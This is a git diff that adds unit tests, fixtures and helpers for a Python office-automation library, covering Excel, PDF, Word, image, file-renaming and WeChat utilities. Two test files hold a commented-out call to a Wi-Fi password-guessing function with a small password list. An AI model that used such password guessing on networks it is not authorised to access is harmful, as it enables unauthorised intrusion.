qtJGJZLhX4iIyR6kVpaTCbpDsxv45Y4yKBHN2tht8W3kcSqwjjKrHj7w4P+NaEUM0NzO0u9444/9WrH8qu3kUOn+LLO6tCC8kirID27GtPXLWOG+nlYFHmXdEU5xjsfaqtdCZjW8/nSW8cMDLIPk3Ac7fStRbiOLUDhQv8AfBHf2rKtbK+g2PuKvyQwGOtR3Kt5hMzEv33NzmnyC5zcsLvTBcPLcLGCpHzPg/jj1p95rFlb3hms5zKxXB+TKfhXJyXMMYPK4Hriqh1SIZVOcdhzT9kHObU9/NcK64+Z87m/+tVCKM280ksOxHkAVjjOcVQuNYzt2IEAHJZgM1nXOv28JxLfwJ/sx5c01BIV20dFKFnx58vmAHIDHp9KiL28YOW/XJ+tcbdeIN7D7JFdz88lo9gI9qpxya5eyFYbVY9x+VnbO0e/rVJImx3L6tYwKSZhgdeazD4tsftUQDkgsAeK50+G9VvctdX0IU/KdgFXLPwjplsN11K8zcY+fA/KmHKdzLhowwySR+fpUSqF2qW4UdM9adbeXJaxtG2V7c56UBAOcc0IkQdQwHI6H0pxGehxS/hikpgJRilooATHFGOKWlIxQA3FAB9TS96WgBAB7/nRSGlGaAFpMZpee9HQZzQAmMUu0ntUFxeW1qu6eeOP/easS78YWEOVhV537beBQB0QXk5PavOfF0LaX4mg1OPhZCGBH94da0jrGv6rJtsrYwIeNwXt9TUJ8G3uoTibVb9sddi/Maa0A7CyuEuYY5VGFkXdVreMdKq2VnBZWiQQBgiDAB5qekAjA8kN1p+abRTsA7NFMzRS1Az7JPs0IiI+VTj5OcD1q/JJp8sLojXAk2sQ7DrjqKzYJ206B40QNld2WH3T/hVTzRa2Sukkk92xLsc8bz2HrXHY6Szb3LtAIEeWMycttHTmotUtZ/LkW2gEyW/B24wcjrWna3ET7Pt0fkXBHysn3ScVX8y4tLkbSfKYljL2JHQH1poDzmS8SKdix2zKcFCKs7ftlg5iZYpCp4XgEe9WPEdhb3TzSW0TfapH3SDoCfTFVvDrNp5l+1WxmZFyYnOMj0+tUhHFvbFAGIIznn1qMHYtbetxxh/OUBQ7EiMdEB5xWG54FaxM5bkyHeM0xh60kRxQwJNUIbnmpU5FRgEGnBiOopgPJ5xSbQTmk25IxT8UCDtxTTnuKkP3eOKZuJIG3PvSYI6fSbd7mz01wSczsuPQYzXokLedZlZTgqv3iO2a5jwdZp/Zwm25IPyjPT3rr44yiMwUcjv0rn6mzehT8d20d/ptveQAlI4CkjYwc4yP5Vo/Da5F5pKwO2XRNwHoKtz28d34fS5lTbBjy3wcAr6/WuG8K6u+mXMMloC/lStEyf3snjNMlPU9mtrhhbSQuTg/NgjtmqFtaxtPLcOdpx8oBPyt2zVa41SaX7JH5f72VvuIcE//AKqv2sNwLh5plACqQFHp/jU3Ls2Vru1NxKSiFiqfvAveo7ICK+iij/eJjOD6+hrTSRYoS8RYO3r61U024SNpGljLHOSoHIpokuavZQXGnyTttSSM4G08En0rn7VpbSN7eRiQBnJ966B7q3uvMWFMqQdoweuKx5rfCykIWZlxtxzTAzLuXzEDI2GB28dK17GNWtmlDFvlwM9j3rGMDrbBpQBDK5RX9D71v6QksMqQoYyQMcnj2IoAoRRrNdIrtukEm5X7t6U/UNUZZXmnwWHHJ7CpLmH7HNJuBARzISB0x2rkvE1vqF7aedaxObeTOHwTitIuxLG6z8REV1jM24pwgTotYMviz7YuYIrm4mOdwC8fnVbTfCtuGzdJJPJnOK6S20l7SLfBYSRpjqqkCtOdEmHHPrV4AbfTYYF6lpSWalOm6tcS7J78pu6iNcAfjiuhhjnc/wDLOMH+Jj19quw6UNpnuLiR4EPzeUuD/wDq7VLkgOZbwlpxUCW4lmkxnLMdtWLXTNOs4WUQRFieCvaqksksV55c8xDXBDwIOiqD0PvSar4qt9LmuYbOIPOUC7x0Q96FK5RfvruBUEb/ALtVGdpwtZY1S0tWYpOpfGduc8VxcuoS3F69xcPI7kfdY9aYJCzl1XGe3p7UCudnBr2nvPGk1zMIy3zCOPmsLUtcia4nWKW4AV8xZH3h71mTMwKlRtPWqs5bHzjk85p2C56/4T1q01bTRDbo0ckCjzQR3PpWyflJ5yB3rzX4b3ottb8pj8s6Ffxr0qT/AFhFNESA5NGKM8UE0CEJpM0GkzTAdmgmm5pFZ3dUSGRi7mNMAfMwGSBz6HNADs0Z9ajDs7IqwysXZ1GFHJUZYdeoqO5lnFk0kETl3iaaAkcOqjJPXoKALI5qtPqNrbffnUf7IOTXBjWddvpLhblZo1iRXkCYwityp4POR6VpxaDemSQzRmBl5cynkZAPQexouFjVuvE0MeRBE0h7EnArHj1DXNbmeK3dIUUc7TjH41qt4ZFvGHukmzuCgNgLuPYgHIPfBxWtJpv9lTyKbcRxBzGJFTCyEdO5PNK4HOW3g4SSb767ZmPJVOf1NblnoWnWf+ptlLf3m5P61dkLwn95BIvzbBwD8393g8H2OKn+y3ZIX7FcZJKj5R1Hbrx/WmA3GF4x+FNojV5s+VE8mCAcADBPQckc+3WiJZZ9wht5ZNrbCQAMN6HJHNABig0zcAhY5ABwQRznOMY9c8Yp0gkgx50MkeTtG4A5b+7wTz7daYhKWiRZYSiyQSqztsQED5m9OD156GpBbXZIH2K4ycgfKO3UdevtTQyKihGVlDA8Hmii4jBDSvftA5DNLGQnPykjrmg3U0KbxDGUicDcnQ+2KrJ/x8ip9P8A+PZf+urfyrjOot3E6TXTfapI87MquPukjpVUxyHQ5ZTO8gTO1c4xTdQ6Rf7n9KX/AJhI/wB2gBYrC5nRLpyPKTBICfMSB1zU+q2Fo2kJcww5vJcsJW789K6DUf8AkBW//XM/yrG1D/kA2X+6P51PUDh/HGnILG3uIFwE4fjHJrhHTEdep+Nf+RWk/wCuy15hL9z8q2gZyKykr1o8w9hmkk6URVRI4F3PpUqJgcnmmnrUrdB9KuKuIFRs+1SFDnrQvQU9vuCqaEN24HrSFMkY+lPpqf6wVDBHdeENQWKzNp/HnIPtXfwJ5saLuHHBrynw3/x+p+Fem2v3h9RWEtzeOw3ULKY+HWAlLxRyNujVjlfT61w3h7Uk0XxaHlH7qZ9pDDgZ716pa/8AIP1H8f5V474k/wCPy3+tOIme4wWJju5dRhulk2KA6odx29iKuxaouAgIYHqQcmub+GP/ACB73/r3FJZ/8f8AL9RWbWppF6G+ZEe7kYEoyYZQ33T7VCLkTusaNsG8k445x0HtWdbff/7aH+dOs/8AkIR/75/nTRMjbt9UhFsxSNVlXLBMcCrWlxw3tnLcSHdIclj/AHawE/4+rj6mrmkf6y4/64imIyLpX86TzIwElbcMDg/4VbSUW9vE67i4ODg0l5/x7RfSqkv3P+2n9KYi9q1w0uglAQzzSCNiew9TWnoTouivFuXMRyVI4JrAu/8AkEt/vCt/T/8AkE3P+6tAGVq8xgure6gKr83IC4Oa15b57jRJ7d448OMrt5IJ7Vgaj0tfqa11/wCQdH/u/wBKXM0NRRy9zbPapH5oCCNvu/3gTQ+omIyCBmFu3G1uoPpV7W/vr9VrLufufjTQmjk/EEKfa4gJMLuLI46gnsawV8M6pNvdbdpc9dp6V0XivpB/vf1rpvDn3bj/AID/ACrSLsiGeYyeE9XBaT7G/TPPUVesvBur3QXbCqnggFwM16XedT/uH+VV9M/5COmfRqHJi6nNXHwzvhHDNcXSIp+8EXJWnN8ObR1SH7ZI8212HAGcDOBXqN5/x4r9a56f/kN23/XNv/QTU8zL5UcpoHhbStO+w6vPLceUyZDZAEUgPQ+1ddMAcSKQVYZBHSsSb/knrf8AXSSteD/kFWf/AFxX+Qq4O4pxVhM0ZpKKsyA0mKcaSmAUqySxRzpHtBlXAc/ejbBG5ffaSKSigB0s8stxHPtjjkiwVCZxuzlif949aV7iWRJozHEI5MBFGf3KYAKL7EKM/jUdFFguefavrM+g65Dai0jaKFsuC2PPjIIVW4/hBNdlBcNfQC73AyTuswkDH5T1Ix0Izjr6Vw3xA/5GKL/rhXWeGv8AkBWX+4P5VTigubFwFu5Xl8lI5nk8xnEjMCe4APQH8TTppJpJZnxGhlu1usjJ2sBgD37U1PvmnSdBUWC466kluZN4PlgzCdkD5RmB44wOPzNOWWUTGTZF/wAf323GT1/u9P1pvYfSnCiwXEUfuHhmjWWNpvOwHKFW56EDpiiAxQWxha38xvtazIuWVVAXseeh4wadQ3anYLkREpnM+V84z+fvy2Aeu3b0xnn1pXAN0tzFCkMyy+buDs/zZzjBxgZ/H3p9JRYVxWlbKeXDHGq3IumXeW3Pn1I4HX86SKWWKSJ9kR8u8e7AyeSw+70/WiiqHcbEvlxhWZcjrRTqKAP/2Q==", + "imageHeight": 889, + "imageWidth": 500 +} \ No newline at end of file diff --git a/tests/test_files/ruiming/test.txt b/tests/test_files/ruiming/test.txt new file mode 100644 index 0000000..e69de29 diff --git "a/tests/test_files/word/aaa - \345\211\257\346\234\254.doc" "b/tests/test_files/word/aaa - \345\211\257\346\234\254.doc" new file mode 100644 index 0000000..aa7a2b4 Binary files /dev/null and "b/tests/test_files/word/aaa - \345\211\257\346\234\254.doc" differ diff --git a/tests/test_main.py b/tests/test_main.py new file mode 100644 index 0000000..6ea0ba5 --- /dev/null +++ b/tests/test_main.py @@ -0,0 +1,11 @@ +# if __name__ == '__main__': +# test_dir = './test_unit' +# suite = unittest.defaultTestLoader.discover(test_dir, pattern='test_*.py') +# # 创建测试runner,执行测试用例集 +# with open('test_result.txt', 'w+') as f: +# runner = unittest.TextTestRunner(stream=f, verbosity=2) +# runner.run(suite) +import pytest + +if __name__ == '__main__': + pytest.main(['./test_unit', '--html=report.html']) diff --git a/tests/test_output/img_output/mark_img/0816.jpg b/tests/test_output/img_output/mark_img/0816.jpg new file mode 100644 index 0000000..8e25e86 Binary files /dev/null and b/tests/test_output/img_output/mark_img/0816.jpg differ diff --git a/tests/test_output/word/abc.docx b/tests/test_output/word/abc.docx new file mode 100644 index 0000000..e69de29 diff --git a/tests/test_output/word/abcd.docx b/tests/test_output/word/abcd.docx new file mode 100644 index 0000000..e69de29 diff --git a/tests/test_output/word/abce.doc b/tests/test_output/word/abce.doc new file mode 100644 index 0000000..2a908ab Binary files /dev/null and b/tests/test_output/word/abce.doc differ diff --git a/tests/test_unit/__init__.py b/tests/test_unit/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/tests/test_unit/fake2excel.xlsx b/tests/test_unit/fake2excel.xlsx new file mode 100644 index 0000000..4cefd8a Binary files /dev/null and b/tests/test_unit/fake2excel.xlsx differ diff --git a/tests/test_unit/output/0816.jpg b/tests/test_unit/output/0816.jpg new file mode 100644 index 0000000..227b7a0 Binary files /dev/null and b/tests/test_unit/output/0816.jpg differ diff --git a/tests/test_unit/output/mark_img/0816.jpg b/tests/test_unit/output/mark_img/0816.jpg new file mode 100644 index 0000000..8e25e86 Binary files /dev/null and b/tests/test_unit/output/mark_img/0816.jpg differ diff --git a/tests/test_unit/test_excel.py b/tests/test_unit/test_excel.py new file mode 100644 index 0000000..d8d874f --- /dev/null +++ b/tests/test_unit/test_excel.py @@ -0,0 +1,64 @@ +import unittest +from tests.test_utils.comm_utils import * +from office.api.excel import * + + +class TestExcel(unittest.TestCase): + def test_fake2excel(self): + test_file_name = './fake2excel.xlsx' + fake2excel(language='sdag') + # 检查文件是否存在 + self.assertTrue(file_exist(test_file_name)) + # 检查文件标题 + self.assertEqual("name", get_colum_content(test_file_name, 0)) + # 检查文件内容 + self.assertTrue(is_chinese_chars_regex(get_content(test_file_name, 0, 0))) + + def test_split_excel_by_column(self): + test_origin_file_name = '../../contributors/bulabean/sedemo.xls' + split_excel_by_column(filepath=test_origin_file_name, + column=6) + last_file_name = get_latest_file('../../contributors/bulabean') + res = get_filter_names(test_origin_file_name, 5) + # 检查拆分后内容 + sheet_names = get_all_sheet_names(last_file_name) + for sheet_name in res: + self.assertIn(sheet_name, sheet_names) + + def test_sheet2excel(self): + test_file_name = '../test_files/excel/fake2excel.xlsx' + sheet2excel(file_path=test_file_name) + sheet_names = get_all_sheet_names(test_file_name) + + for sheet_name in sheet_names: + # 检查文件是否存在 + self.assertTrue(file_exist(f'./{sheet_name}.xlsx')) + # 检查拆分文件的标题 + self.assertEqual(get_colum_content(test_file_name, 0, sheet_name), + get_colum_content(f'./{sheet_name}.xlsx', 0, sheet_name)) + # 检查拆分文件的内容 + self.assertEqual(get_content(test_file_name, 0, 0, sheet_name), + get_content(f'./{sheet_name}.xlsx', 0, 0, sheet_name)) + + # TODO: 没有搞明白规则 + def test_merge2sheet(self): + merge2sheet(dir_path=r'../test_files/excel/merge2sheet') + # 检查文件是否存在 + self.assertTrue(file_exist('merge2sheet.xlsx')) + + def test_merge2excel(self): + test_file_name = 'test_merge2excel.xlsx' + merge2excel(dir_path=r'../../contributors/bulabean', output_file=test_file_name) + # 检查文件是否存在 + self.assertTrue(file_exist(test_file_name)) + # 检查所有sheet名称 + self.assertIn("SEdemo_Split_2022-09-08_162027", get_all_sheet_names(test_file_name)) + self.assertIn("SEdemo_Split_2022-09-08_162113", get_all_sheet_names(test_file_name)) + self.assertIn("SEdemo_Split_2022-09-09_215031", get_all_sheet_names(test_file_name)) + self.assertIn("SEdemo_Split_2022-09-09_215121", get_all_sheet_names(test_file_name)) + self.assertNotIn("sedemo_Split_2022-08-23_203413", get_all_sheet_names(test_file_name)) + self.assertNotIn("sedemo_Split_2022-08-23_203011", get_all_sheet_names(test_file_name)) + self.assertNotIn("sedemo_Split_2022-09-17_154536", get_all_sheet_names(test_file_name)) + + def test_find_excel_data(self): + find_excel_data(search_key='程序员晚枫', target_dir=r'../../contributors/bulabean') \ No newline at end of file diff --git a/tests/test_unit/test_file.py b/tests/test_unit/test_file.py new file mode 100644 index 0000000..a402518 --- /dev/null +++ b/tests/test_unit/test_file.py @@ -0,0 +1,59 @@ +import unittest + +from office.api.file import * +from tests.test_utils.comm_utils import * + +ORIGIN_FILE_NAME = '../test_files/file/add_fix/aabbccddeeffgghhppddaacc.docx' + + +class TestFile(unittest.TestCase): + + def test_replace4filename(self): + touch_file(ORIGIN_FILE_NAME) + replace4filename(path='../test_files/file/add_fix', del_content='dd', replace_content='pp') + # 检查文件存在 + self.assertTrue(file_exist('../test_files/file/add_fix/aabbccppeeffgghhppppaacc.docx')) + # 删除文件 + delete_file('../test_files/file/add_fix/aabbccppeeffgghhppppaacc.docx') + + def test_file_name_insert_content(self): + touch_file(ORIGIN_FILE_NAME) + file_name_insert_content(file_path=r"../test_files/file/add_fix", + insert_position=1, insert_content="111") + # 检查文件存在 + self.assertTrue(file_exist('../test_files/file/add_fix/a111abbccddeeffgghhppddaacc.docx')) + # 删除文件 + delete_file('../test_files/file/add_fix/a111abbccddeeffgghhppddaacc.docx') + + def test_file_name_add_prefix(self): + touch_file(ORIGIN_FILE_NAME) + file_name_add_prefix(file_path=r'../test_files/file/add_fix', prefix_content='2022') + # 检查文件存在 + self.assertTrue(file_exist('../test_files/file/add_fix/2022aabbccddeeffgghhppddaacc.docx')) + # 删除文件 + delete_file('../test_files/file/add_fix/2022aabbccddeeffgghhppddaacc.docx') + + def test_file_name_add_postfix(self): + touch_file(ORIGIN_FILE_NAME) + file_name_add_postfix(file_path=r"../test_files/file/add_fix", + postfix_content="5555") + # 检查文件存在 + self.assertTrue(file_exist('../test_files/file/add_fix/aabbccddeeffgghhppddaacc5555.docx')) + # 删除文件 + delete_file('../test_files/file/add_fix/aabbccddeeffgghhppddaacc5555.docx') + + def test_search_specify_type_file(self): + search_specify_type_file(file_path=r'../test_files/docx', file_type='.docx') + + def test_output_file_list_to_excel(self): + output_file_list_to_excel("../test_files") + self.assertTrue(file_exist('../test_files/本目录文件列表.xlsx')) + # 删除文件 + delete_file('../test_files/本目录文件列表.xlsx') + + def test_search_by_content(self): + search_by_content(search_path=r'../test_files/docx', content='程序') + + def test_get_files(self): + f = get_files(path=r'../test_files/docx') + self.assertEqual(len(f), 1) diff --git a/tests/test_unit/test_image.py b/tests/test_unit/test_image.py new file mode 100644 index 0000000..673c553 --- /dev/null +++ b/tests/test_unit/test_image.py @@ -0,0 +1,26 @@ +import unittest + +from office.api.image import * +from tests.test_utils.comm_utils import * + + +class TestImage(unittest.TestCase): + def test_add_watermark(self): + add_watermark(file='../test_files/images/0816.jpg', mark='python-office',output_path=r'../test_output/img_output') + def test_com_img(self): + compress_image() + def test_down4img(self): + down4img(url='https://cos.python-office.com/group/python-office-qr.jpg', + output_path=r'../test_files/images') + self.assertTrue(file_exist('../test_files/images/down4img.jpg')) + delete_file('../test_files/images/down4img.jpg') + + def test_txt2wordcloud(self): + txt2wordcloud(filename=r'../test_files/md/test.txt') + self.assertTrue(file_exist('your_wordcloud.png')) + delete_file('your_wordcloud.png') + + def test_pencil4img(self): + pencil4img(input_img=r'../test_files/images/pencil4img.jpg') + self.assertTrue(file_exist('pencil4img.jpg')) + delete_file('pencil4img.jpg') diff --git a/tests/test_unit/test_markdown.py b/tests/test_unit/test_markdown.py new file mode 100644 index 0000000..16e8eee --- /dev/null +++ b/tests/test_unit/test_markdown.py @@ -0,0 +1,13 @@ +import unittest + +from office.api.markdown import * +from tests.test_utils.comm_utils import * + + +class TestMarkdown(unittest.TestCase): + + def test_excel2markdown(self): + excel2markdown(input_file=r'../test_files/excel/fake2excel.xlsx', output_file=r'../test_files/markdown/test.md', + sheet_name=None) + self.assertTrue(file_exist('../test_files/markdown/test.md')) + delete_file('../test_files/markdown/test.md') diff --git a/tests/test_unit/test_pdf.py b/tests/test_unit/test_pdf.py new file mode 100644 index 0000000..627a3c3 --- /dev/null +++ b/tests/test_unit/test_pdf.py @@ -0,0 +1,67 @@ +import unittest + +from office.api.pdf import * +from tests.test_utils.test_input import stub_stdin + + +class TestPDF(unittest.TestCase): + def test_add_watermark(self): + stub_stdin(self, './test_files/popdf/in.popdf\npython-office\n') # 依次输入 + add_watermark() + + def test_add_watermark_by_parameters(self): + add_watermark_by_parameters( + pdf_file=r'./test_files/popdf/in.popdf', + mark_str='python-office', + output_file_name='参数-水印-测试.popdf') + + def test_pdf2imgs(self): + pdf2imgs( + pdf_path=r'./test_files/popdf/in.popdf', + out_dir='./images') + + def test_pdf2docx(self): + pdf2docx( + file_path=r'./test_files/popdf/in.popdf', + output_path=r'./test_files/popdf/' + ) + + # def test_file2pdf(self): + # file2pdf( + # file_type='txt', + # path=r'./test_files/popdf/in.popdf', + # ) + + def test_pdf2docx(self): + pdf2docx( + file_path=r'./test_files/popdf/in.popdf', + output_path=r'./test_files/popdf/' + ) + + def test_merge2pdf(self): + merge2pdf( + one_by_one=[r'./test_files/popdf/in.popdf', r'./test_files/popdf/add_img.popdf'], + output=r'./test_files/popdf/merge2pdf.popdf' + ) + + def test_encrypt4pdf(self): + encrypt4pdf( + path=r'D:\workplace\code\github\popdf\tests\test_files\pdf\32012356985422-watermark.popdf', + password='123456' + ) + + def test_decrypt4pdf(self): + decrypt4pdf( + path=r'./test_files/popdf/encrypt.popdf', + password='123456' + ) + + def test_pdf2imgs(self): + pdf2imgs( + pdf_path =r'./test_files/popdf/in.popdf', + out_dir=r'./test_files/popdf' + ) + + def test_add_img_water(self): + add_img_water(pdf_file_in='./test_files/popdf/add_img.popdf', pdf_file_mark='./test_files/popdf/in.popdf', + pdf_file_out='add_img_res.popdf') diff --git a/tests/test_unit/test_ppt.py b/tests/test_unit/test_ppt.py new file mode 100644 index 0000000..6cbbfa8 --- /dev/null +++ b/tests/test_unit/test_ppt.py @@ -0,0 +1,16 @@ +import unittest + +from office.api.ppt import * +from tests.test_utils.comm_utils import * + + +class TestPPT(unittest.TestCase): + def test_ppt2pdf(self): + ppt2pdf(path=r'../test_files/ppt/程序员晚枫的ppt.pptx', + output_path=r'../test_files/ppt/ppt2pdf') + self.assertTrue(file_exist('../test_files/ppt/ppt2pdf/程序员晚枫的文档.pdf')) + + # todo: 文件打开有异常 + def test_ppt2img(self): + ppt2img(input_path=r'../test_files/ppt/程序员晚枫的ppt.pptx', + output_path=r'../test_files/ppt/ppt2img') diff --git a/tests/test_unit/test_ruiming.py b/tests/test_unit/test_ruiming.py new file mode 100644 index 0000000..402f81d --- /dev/null +++ b/tests/test_unit/test_ruiming.py @@ -0,0 +1,26 @@ +import unittest + +from office.api.testApi.ruiming import screen_unmarked_image, change_label_in_xml, screen_without_label_json_file +from tests.test_utils.comm_utils import * + + +class TestRuiming(unittest.TestCase): + def test_screen_unmarked_image(self): + screen_unmarked_image(dir_path='../test_files/ruiming/screen_unmarked_image') + # 预期结果:2.jpg被移动到“未标注图片”目录下 + + def test_change_label_in_xml(self): + # TODO:相对路径问题 + change_label_in_xml(dir_path="../test_files/ruiming/change_label_in_xml", old_label="测试", new_label="测试1") + # 预期结果:name标签内容从“测试”改为“测试1” + file_names = get_file_by_suffix('../test_files/ruiming/change_label_in_xml', 'xml') + for file_name in file_names: + names = get_all_name_values('../test_files/ruiming/change_label_in_xml/' + file_name) + self.assertNotIn('测试', names) + # 还原 + change_label_in_xml(dir_path="../test_files/ruiming/change_label_in_xml", old_label="测试1", new_label="测试") + + def test_screen_without_label_json_file(self): + # TODO:相对路径问题 + screen_without_label_json_file(dir_path="../test_files/ruiming/screen_without_label_json_file") + # 预期结果:除1.json外均被移动到”无标签json文件“文件夹中 diff --git a/tests/test_unit/test_search_by_content.py b/tests/test_unit/test_search_by_content.py new file mode 100644 index 0000000..3a1a827 --- /dev/null +++ b/tests/test_unit/test_search_by_content.py @@ -0,0 +1,8 @@ +import unittest + +from office.api.file import * + + +class TestSBC(unittest.TestCase): + def test_search_by_content(self): + search_by_content(search_path=r'../test_files/', content='python-office') diff --git a/tests/test_unit/test_tools.py b/tests/test_unit/test_tools.py new file mode 100644 index 0000000..e7250aa --- /dev/null +++ b/tests/test_unit/test_tools.py @@ -0,0 +1,31 @@ +import unittest + +import pytest + +from office.api.tools import * +from tests.test_utils.test_input import stub_stdin + + +class TestTools(unittest.TestCase): + @pytest.mark.skip(reason="交互式功能,暂时跳过") + def test_weather(self): + stub_stdin(self, '北京\ny\nq\n') # 依次输入 + weather() + + def test_url2ip(self): + url2ip('www.python-office.com') + + @pytest.mark.skip(reason="交互式功能,暂时跳过") + def test_lottery8ticket(self): + stub_stdin(self, '12\n0\n') # 依次输入 + lottery8ticket() + + def test_create_article(self): + create_article('生日快乐', line_num=2000) + + # def test_pwd4wifi(self): + # stub_stdin(self, '1\ny\n') #依次输入 + # pwd4wifi(pwd_list=['12345678', 'CoderWanFeng']) + def test_open_soft(self): + soft_path = r'D:\software\wechat\WeChat.exe' + wftools.open_soft(soft_path, num=2) diff --git a/tests/test_unit/test_tools/test_trans.py b/tests/test_unit/test_tools/test_trans.py new file mode 100644 index 0000000..77d20ab --- /dev/null +++ b/tests/test_unit/test_tools/test_trans.py @@ -0,0 +1,49 @@ +# -*- coding: UTF-8 -*- +''' +@学习网站 :https://www.python-office.com +@读者群 :http://www.python4office.cn/wechat-group/ +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@代码日期 :2024/6/15 13:36 +@本段代码的视频说明 : +''' +# test_tools1.py +import unittest + +from office.api.tools import transtools + + +class TestTranstools(unittest.TestCase): + + def test_translation_to_english(self): + # 测试从中文翻译到英文 + translated = transtools(to_lang='en', content='你好') + self.assertIn('hello', translated.lower()) # 假设翻译包含"hello" + + def test_translation_to_chinese(self): + # 测试从英文翻译到中文 + translated = transtools(to_lang='zh', content='hello') + self.assertIn('你好', translated) # 假设翻译包含"你好" + + def test_translation_with_default_language(self): + # 测试默认的源语言(中文)是否生效 + translated = transtools(to_lang='en', content='你好') + self.assertIn('hello', translated.lower()) # 假设翻译包含"hello" + + def test_translation_with_specific_language(self): + # 测试指定源语言是否生效 + translated = transtools(to_lang='en', content='Bonjour', from_lang='fr') + self.assertIn('hello', translated.lower()) # 假设翻译包含"hello" + + def test_empty_content(self): + # 测试空内容是否返回空字符串 + translated = transtools(to_lang='en', content='') + self.assertEqual(translated, '') + + def test_none_content(self): + # 测试None内容是否引发异常 + with self.assertRaises(TypeError): + transtools(to_lang='en', content=None) + +# 这将使得测试可以通过命令行执行 +if __name__ == '__main__': + unittest.main() diff --git a/tests/test_unit/test_tools1.py b/tests/test_unit/test_tools1.py new file mode 100644 index 0000000..a68f956 --- /dev/null +++ b/tests/test_unit/test_tools1.py @@ -0,0 +1,32 @@ +import unittest + +import pytest + +from office.api.tools import * +from tests.test_utils.test_input import stub_stdin + + +class TestTools(unittest.TestCase): + @pytest.mark.skip(reason="交互式功能,暂时跳过") + def test_weather(self): + stub_stdin(self, '北京\ny\nq\n') # 依次输入 + weather() + + def test_url2ip(self): + ip_str = url2ip('www.python-office.com') + self.assertEqual(ip_str, "2408:877a:2000:f::11") + + @pytest.mark.skip(reason="交互式功能,暂时跳过") + def test_lottery8ticket(self): + stub_stdin(self, '12\n0\n') # 依次输入 + lottery8ticket() + + def test_create_article(self): + create_article('生日快乐', line_num=2000) + + # def test_pwd4wifi(self): + # stub_stdin(self, '1\ny\n') #依次输入 + # pwd4wifi(pwd_list=['12345678', 'CoderWanFeng']) + def test_open_soft(self): + soft_path = r'D:\software\wechat\WeChat.exe' + wftools.open_soft(soft_path, num=2) diff --git a/tests/test_unit/test_video.py b/tests/test_unit/test_video.py new file mode 100644 index 0000000..76e437b --- /dev/null +++ b/tests/test_unit/test_video.py @@ -0,0 +1,9 @@ +import unittest +from tests.test_utils.comm_utils import * +from office.api.video import * + + +class TestVideo(unittest.TestCase): + def test_txt2mp3(self): + txt2mp3() + self.assertTrue(file_exist('./程序员晚枫.mp3')) diff --git a/tests/test_unit/test_web.py b/tests/test_unit/test_web.py new file mode 100644 index 0000000..b69a3ce --- /dev/null +++ b/tests/test_unit/test_web.py @@ -0,0 +1,9 @@ +import unittest + +from office.api import web + + +# todo: 功能暂时未实现 +class TestWechat(unittest.TestCase): + def test_url2ebook(self): + web.url2ebook('https://www.zhihu.com/question/36810597', title='测试') diff --git a/tests/test_unit/test_wechat.py b/tests/test_unit/test_wechat.py new file mode 100644 index 0000000..0af7223 --- /dev/null +++ b/tests/test_unit/test_wechat.py @@ -0,0 +1,11 @@ +import unittest + +from office.api.wechat import * + + +class TestWechat(unittest.TestCase): + def test_send_file(self): + send_file(who='文件传输助手', file=r'../test_files/images/0816.jpg') + + def test_receive_message(self): + receive_message(who='程序员晚枫') diff --git a/tests/test_unit/test_word.py b/tests/test_unit/test_word.py new file mode 100644 index 0000000..4907b9e --- /dev/null +++ b/tests/test_unit/test_word.py @@ -0,0 +1,23 @@ +import unittest + +from office.api.word import * +from tests.test_utils.comm_utils import * + + +class TestWechat(unittest.TestCase): + def test_docx2pdf(self): + docx2pdf(path=r'../test_files/docx/demo.docx') + + def test_doc2docx(self): + doc2docx(input_path=r'../test_files/word/aaa - 副本.doc', output_path=r'../test_output/word', + output_name='abcd.docx') + # 检查文件是否存在 + self.assertTrue(file_exist('../test_output/word/abcd.docx')) + delete_file('../test_output/word/abcd.docx') + + def test_docx2doc(self): + docx2doc(input_path=r'../test_output/word/abcd.docx', output_path=r'../test_output/word', + output_name='abce') + # 检查文件是否存在 + self.assertTrue(file_exist('../test_output/word/abce.doc')) + delete_file('../test_output/word/abce.doc') diff --git a/tests/test_utils/comm_utils.py b/tests/test_utils/comm_utils.py new file mode 100644 index 0000000..6acbd4b --- /dev/null +++ b/tests/test_utils/comm_utils.py @@ -0,0 +1,186 @@ +""" + 此类为测试用例的通用工具类 +""" +import os +import re +import pandas as pd +import xml.etree.ElementTree as ET + + +def file_exist(file_path): + """ + 判断文件是否存在 + + Args: + file_path: 文件路径 str + """ + return os.path.exists(file_path) + + +def is_chinese_chars_regex(s): + """ + 字符串是否是全中文 + + Args: + s: 字符串 str + """ + pattern = re.compile(r'[\u4e00-\u9fff]') + matches = pattern.findall(s) + return len(matches) > 1 + + +def delete_file(file_path): + """ + 删除文件 + + Args: + file_path: 需要删除的文件路径 str + """ + os.remove(file_path) + + +def get_file_context(file_path): + """ + 获取文件中的内容 + + Args: + file_path: 文件路径 str + """ + res = "" + with open(file_path, 'r', encoding='utf-8') as file: + res = file.read() + return res + + +def touch_file(file_path): + """ + 创建文件 + + Args: + file_path: 文件路径 str + """ + with open(file_path, 'w'): + pass + + +def get_all_name_values(file_path): + """ + 获取所有xml中name的值 + + Args: + file_path: 文件路径 str + """ + xml_data = get_file_context(file_path) + root = ET.fromstring(xml_data) + res_list = [] + for obj in root.findall('object'): + res_list.append(obj.find('name').text) + return res_list + + +def get_file_by_suffix(dir_path, suffix): + """ + 获取目录下固定后缀的文件名 + + Args: + dir_path: 目录名称 str + suffix: 后缀名称 str + """ + xlsx_files = [] + file_names = os.listdir(dir_path) + for file_name in file_names: + if file_name.endswith(suffix): + xlsx_files.append(file_name) + return xlsx_files + + +def get_colum_content(file_path, column_index, sheet_name='Sheet1'): + """ + 获取excel中 + + Args: + file_path: 文件路径 str + column_index: 需要查询标题的列索引,从0开始 int + sheet_name: sheet名称 str + """ + df = pd.read_excel(file_path, sheet_name=sheet_name) + headers = df.columns.tolist() + return headers[column_index] + + +def get_content(file_path, row_index, col_index, sheet_name='Sheet1'): + """ + 获取excel文件具体行列的值 + + Args: + file_path: 文件路径 str + row_index: 需要查询的行索引,从0开始 int + col_index: 需要查询的列索引,从0开始 int + sheet_name: sheet名称 str + """ + df = pd.read_excel(file_path, sheet_name) + first_value = df.iloc[row_index, col_index] + return first_value + + +def get_file_by_suffix(dir_path, suffix): + """ + 获取目录下固定后缀的文件名 + + Args: + dir_path: 目录名称 str + suffix: 后缀名称 str + """ + xlsx_files = [] + file_names = os.listdir(dir_path) + for file_name in file_names: + if file_name.endswith(suffix): + xlsx_files.append(file_name) + return xlsx_files + + +def get_all_sheet_names(file_path): + """ + 获取excel文件的所有sheet名称 + + Args: + file_path: 文件路径 str + """ + excel_file = pd.ExcelFile(file_path) + sheet_names = 